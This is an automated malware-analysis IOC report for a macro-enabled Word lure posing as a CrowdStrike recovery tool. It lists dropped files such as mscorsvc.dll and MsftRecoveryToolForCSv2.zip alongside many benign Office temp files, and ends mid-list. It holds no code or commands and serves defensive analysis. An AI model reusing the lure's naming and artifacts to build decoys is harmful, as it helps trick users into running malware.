Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

New_Recovery_Tool_to_help_with_CrowdStrike_issue_impacting_Windows.docm

Microsoft Word 2007+

initial sample

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRC0000.tmp

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Local\Temp\curl.txt

PEM certificate

dropped

C:\Users\user\AppData\Local\Temp\mscorsvc.dll

PE32+ executable (DLL) (GUI) x86-64, for MS Windows

dropped

C:\Users\user\AppData\Local\Temp\mscorsvc.txt

PEM certificate

modified

C:\Users\user\Downloads\MsftRecoveryToolForCSv2.zip (copy)

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

JSON data

dropped

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CatalogCacheMetaData.xml

XML 1.0 document, ASCII text, with very long lines (1298), with no line terminators

modified

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectbronze.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgalaxy.jpg

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectgold.jpg

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectlava.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectocean.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrainbowglitter.jpg

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectrosegold.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\CloudGraphicsResources\Graphics\inkeffectsilver.jpg

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 540x540, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\GraphicsCache\1\oart.json

JSON data

dropped

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

data

dropped

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\12BAF3EE.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x518, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1E8B5958.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 837x754, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\42ED3717.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 838x340, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\43172D61.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 837x754, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\8C6EEAE0.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x744, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\B1730126.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 838x340, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CC449979.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x518, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\E611A7F3.jpg

JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=6, orientation=upper-left, xresolution=86, yresolution=94, resolutionunit=2], baseline, precision 8, 841x744, components 3

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{085F5DEF-FD43-4377-836E-D631451649D2}.tmp

Composite Document File V2 Document, Cannot read section info

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{43F4B375-8E7A-44EF-86E3-6C5BC465D1F2}.tmp

Composite Document File V2 Document, Cannot read section info

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{505386B3-5C57-4893-9400-535E396A042F}.tmp

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{6FE5DC30-1E06-4128-B942-DEBBBBCDEE1D}.tmp

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{894978C9-3668-4D31-AF1E-60B0DEF1662A}.tmp

data

dropped

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{B3EC896D-9D96-4AE9-BA85-97C47E5353BA}.tmp

data

dropped

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656660101767000_EDECE918-A2EA-49DC-A414-445477A4F37D.log

ASCII text, with very long lines (10173), with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656713704356800_77D492B2-7E92-413F-B233-B07670110F32.log

ASCII text, with very long lines (28929), with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1721656713705260000_77D492B2-7E92-413F-B233-B07670110F32.log

data

dropped

C:\Users\user\AppData\Local\Temp\TCD3B14.tmp\Basis.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD3B14.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD3B15.tmp\Dividend.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD3B15.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7D37.tmp\BracketList.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7D37.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D38.tmp\CircleProcess.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7D38.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D39.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D39.tmp\InterconnectedBlockProcess.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7D4B.tmp\APASixthEditionOfficeOnline.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7D4B.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D5C.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D5C.tmp\gostname.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7D5D.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D5D.tmp\Equations.dotx

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Local\Temp\TCD7D9B.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7D9B.tmp\pictureorgchart.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7DAC.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DAC.tmp\sist02.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7DC2.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DC2.tmp\ConvergingText.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7DD3.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DD3.tmp\PictureFrame.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7DD4.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DD4.tmp\iso690nmerical.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7DE4.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DE4.tmp\chevronaccent.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7DE5.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DE5.tmp\ThemePictureAlternatingAccent.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7DF6.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7DF6.tmp\gb.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7E07.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E07.tmp\ThemePictureAccent.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7E08.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E08.tmp\TabList.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7E09.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E09.tmp\ThemePictureGrid.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7E19.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E19.tmp\iso690.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7E2A.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E2A.tmp\chicago.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7E4A.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E4A.tmp\rings.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7E5B.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E5B.tmp\architecture.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7E6B.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E6B.tmp\TabbedArc.glox

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD7E9B.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7E9B.tmp\gosttitle.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7EAC.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7EAC.tmp\HexagonRadial.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBD.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBD.tmp\harvardanglia2008officeonline.xsl

XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBE.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBE.tmp\Text Sidebar (Annual Report Red and Black design).docx

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBF.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7EBF.tmp\mlaseventheditionofficeonline.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7EEE.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7EEE.tmp\RadialPictureList.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7F1F.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7F1F.tmp\Element design set.dotx

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Local\Temp\TCD7F45.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7F45.tmp\turabian.xsl

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7F55.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD7F55.tmp\VaryingWidthList.glox

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7F87.tmp\Metropolitan.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7F87.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7FB8.tmp\Banded.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7FB8.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7FD8.tmp\Wood_Type.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7FD8.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD7FF8.tmp\View.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD7FF8.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD8088.tmp\Parallax.thmx

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD8088.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD809A.tmp\Parcel.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD809A.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD80AA.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD80AA.tmp\ieee2006officeonline.xsl

XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD80EC.tmp\Quotable.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD80EC.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD811C.tmp\Berlin.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD811C.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD81F8.tmp\Savon.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD81F8.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD8278.tmp\Circuit.thmx

Zip archive data, at least v2.0 to extract, compression method=deflate

dropped

C:\Users\user\AppData\Local\Temp\TCD8278.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD82B8.tmp\Gallery.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD82B8.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD8337.tmp\Droplet.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD8337.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD8491.tmp\Slate.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD8491.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD851F.tmp\Damask.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD851F.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD860C.tmp\Mesh.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD860C.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD8727.tmp\Main_Event.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD8727.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD88D0.tmp\Vapor_Trail.thmx

Microsoft OOXML

dropped

C:\Users\user\AppData\Local\Temp\TCD88D0.tmp\content.inf

Unicode text, UTF-16, little-endian text, with CRLF line terminators

dropped

C:\Users\user\AppData\Local\Temp\TCD88F0.tmp\Content.inf

data

dropped

C:\Users\user\AppData\Local\Temp\TCD88F0.tmp\Insight design set.dotx

Microsoft Word 2007+

dropped

C:\Users\user\AppData\Local\Temp\cab3A95.tmp

Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab3AD5.tmp

Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D02.tmp

Microsoft Cabinet archive data, many, 4091 bytes, 2 files, at 0x44 "BracketList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D13.tmp

Microsoft Cabinet archive data, many, 9170 bytes, 2 files, at 0x44 "InterconnectedBlockProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D14.tmp

Microsoft Cabinet archive data, many, 5864 bytes, 2 files, at 0x44 "architecture.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D15.tmp

Microsoft Cabinet archive data, many, 14939 bytes, 2 files, at 0x44 "CircleProcess.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D16.tmp

Microsoft Cabinet archive data, many, 15338 bytes, 2 files, at 0x4c "gosttitle.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D26.tmp

Microsoft Cabinet archive data, many, 18672 bytes, 2 files, at 0x4c "APASixthEditionOfficeOnline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D3A.tmp

Microsoft Cabinet archive data, many, 15461 bytes, 2 files, at 0x4c "gostname.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D3B.tmp

Microsoft Cabinet archive data, many, 27509 bytes, 2 files, at 0x4c "Equations.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D6E.tmp

Microsoft Cabinet archive data, many, 6005 bytes, 2 files, at 0x44 "HexagonRadial.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D6F.tmp

Microsoft Cabinet archive data, many, 14813 bytes, 2 files, at 0x4c "iso690nmerical.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 7 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D70.tmp

Microsoft Cabinet archive data, many, 30269 bytes, 2 files, at 0x4c "Text Sidebar (Annual Report Red and Black design).docx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D71.tmp

Microsoft Cabinet archive data, many, 15418 bytes, 2 files, at 0x4c "harvardanglia2008officeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D72.tmp

Microsoft Cabinet archive data, many, 14864 bytes, 2 files, at 0x4c "mlaseventheditionofficeonline.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D82.tmp

Microsoft Cabinet archive data, many, 7453 bytes, 2 files, at 0x44 "pictureorgchart.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D83.tmp

Microsoft Cabinet archive data, many, 15691 bytes, 2 files, at 0x4c "gb.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D94.tmp

Microsoft Cabinet archive data, many, 15327 bytes, 2 files, at 0x4c "sist02.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 8 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D95.tmp

Microsoft Cabinet archive data, many, 5731 bytes, 2 files, at 0x44 "ThemePictureAlternatingAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D96.tmp

Microsoft Cabinet archive data, many, 4313 bytes, 2 files, at 0x44 "chevronaccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D97.tmp

Microsoft Cabinet archive data, many, 16689 bytes, 2 files, at 0x4c "iso690.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 9 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D98.tmp

Microsoft Cabinet archive data, many, 4410 bytes, 2 files, at 0x44 "PictureFrame.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D99.tmp

Microsoft Cabinet archive data, many, 6450 bytes, 2 files, at 0x44 "ThemePictureAccent.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7D9A.tmp

Microsoft Cabinet archive data, many, 17466 bytes, 2 files, at 0x4c "chicago.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 10 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DAD.tmp

Microsoft Cabinet archive data, many, 3749 bytes, 2 files, at 0x44 "TabbedArc.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DAE.tmp

Microsoft Cabinet archive data, many, 10800 bytes, 2 files, at 0x44 "ConvergingText.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DAF.tmp

Microsoft Cabinet archive data, many, 4967 bytes, 2 files, at 0x44 "TabList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DB0.tmp

Microsoft Cabinet archive data, many, 5647 bytes, 2 files, at 0x44 "RadialPictureList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DB1.tmp

Microsoft Cabinet archive data, many, 6196 bytes, 2 files, at 0x44 "ThemePictureGrid.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7DC1.tmp

Microsoft Cabinet archive data, many, 5213 bytes, 2 files, at 0x44 "rings.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F0F.tmp

Microsoft Cabinet archive data, many, 26644 bytes, 2 files, at 0x4c "Element design set.dotx", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 2 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F30.tmp

Microsoft Cabinet archive data, many, 19375 bytes, 2 files, at 0x4c "turabian.xsl", iFolder 0x1 "Content.inf", 2 cffolders, flags 0x4, number 1, extra bytes 20 in head, 11 datablocks, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F41.tmp

Microsoft Cabinet archive data, many, 3144 bytes, 2 files, at 0x44 "VaryingWidthList.glox" "Content.inf", flags 0x4, number 1, extra bytes 20 in head, 1 datablock, 0x1203 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F42.tmp

Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F43.tmp

Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F44.tmp

Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F66.tmp

Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F67.tmp

Microsoft Cabinet archive data, many, 206792 bytes, 2 files, at 0x44 +A "content.inf" +A "View.thmx", flags 0x4, ID 33885, number 1, extra bytes 20 in head, 15 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab7F98.tmp

Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8028.tmp

Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8058.tmp

Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression

dropped

C:\Users\user\AppData\Local\Temp\cab8089.tmp

